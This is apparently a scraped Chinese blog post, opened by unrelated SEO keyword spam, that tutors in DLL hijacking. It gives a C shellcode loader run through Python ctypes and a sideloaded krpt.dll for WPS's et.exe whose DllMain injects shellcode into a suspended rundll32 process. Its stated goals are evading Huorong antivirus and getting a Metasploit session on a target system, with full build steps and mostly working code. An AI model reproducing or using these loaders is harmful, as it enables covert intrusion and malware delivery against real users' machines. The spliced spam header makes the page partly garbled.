做网站卖房写标题,网页动态效果,旅行网站开发,建设网站用英文怎么说CPy-DLL劫持-语言-调用加载 1.使用visual studio创建项目 2.将文件名重命名为.c后缀 3.将如下加载器代码生成dll文件 加载器代码#xff1a; #include pch.h
#include Windows.h
#include stdio.h
#include string.h#pragma comment… CPy-DLL劫持-语言-调用加载 1.使用visual studio创建项目 2.将文件名重命名为.c后缀 3.将如下加载器代码生成dll文件 加载器代码 #include pch.h
#include Windows.h
#include stdio.h
#include string.h#pragma comment(linker,/subsystem:\Windows\ /entry:\mainCRTStartup\) //windows控制台程序不出黑窗口unsigned char buf[] 生成的shellcode;
int main()
{
char* Memory;
Memory VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
} 生成成功 4.msf开启监听 5.使用python执行如下代码调用dll文件 dll.py from ctypes import * #利用python载入dll文件 libCDLL(生成的dll文件路径) #调用dll文件内置方法函数 lib.main() 执行成功msf成功上线 6.使用打包器将dll.py文件打包成exe执行成功上线 CC-DLL劫持-白加黑-导出编译 1.随便选中一个exe程序运行使用火绒剑查看这个exe程序在运行时加载的dll文件 这里选择的是wps中的et.exe程序运行发现加载了一个krpt.dll文件 2.使用Dependencies工具对krpt.dll进行反编译 3.右键导出krpt.dll源码 4.使用visual studio 创建一个新项目。项目名称右键——打开项目位置——将反编译的dll源码复制进去。 5.选中dll源码拖入项目工具就会自动加载源码 6.打开asm文件将所有的jmp语句删除 7.根据文件中的教程选中文件——右键属性——如下图修改——点击应用。 配置时注意 配置选择所有配置 平台选择所有平台 8.根据教程——继续打开asm文件的属性进行配置 9.项目名称——右键属性——c/c——代码生成——运行库——多线程(/MT) 10.预编译头——不使用预编译头 11.链接器——调试——生成调试信息——否 12.在.c文件中添加如下一行代码 13.打开.cpp文件写入shellcode加载代码(可任意) 如 #include framework.h
#include krpt.h
#include windows.hBOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{unsigned char hexData[] 生成的shellcode;char* v7A (char*)VirtualAlloc(0, _countof(hexData), 0x3000u, 0x40u);
memcpy((void*)v7A, hexData, _countof(hexData));
struct _PROCESS_INFORMATION ProcessInformation;
struct _STARTUPINFOA StartupInfo;
void* v24;
CONTEXT Context;
DWORD DwWrite 0;
memset(StartupInfo, 0, sizeof(StartupInfo));
StartupInfo.cb 68;
BOOL result CreateProcessA(0, (LPSTR)rundll32.exe, 0, 0, 0, 0x44u, 0, 0, StartupInfo, ProcessInformation);
if (result)
{
Context.ContextFlags 65539;
GetThreadContext(ProcessInformation.hThread, Context);
v24 VirtualAllocEx(ProcessInformation.hProcess, 0, _countof(hexData), 0x1000u, 0x40u);
WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, _countof(hexData), DwWrite);
Context.Eip (DWORD)v24;
SetThreadContext(ProcessInformation.hThread, Context);
ResumeThread(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hThread);
result CloseHandle(ProcessInformation.hProcess);
}TerminateProcess(GetCurrentProcess(), 0);
};case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
} 成功生成dll文件 14.将生成的dll文件改名位krpt.dll和et.exe一起上传到目标系统 运行et.exe成功绕过火绒检测msf成功上线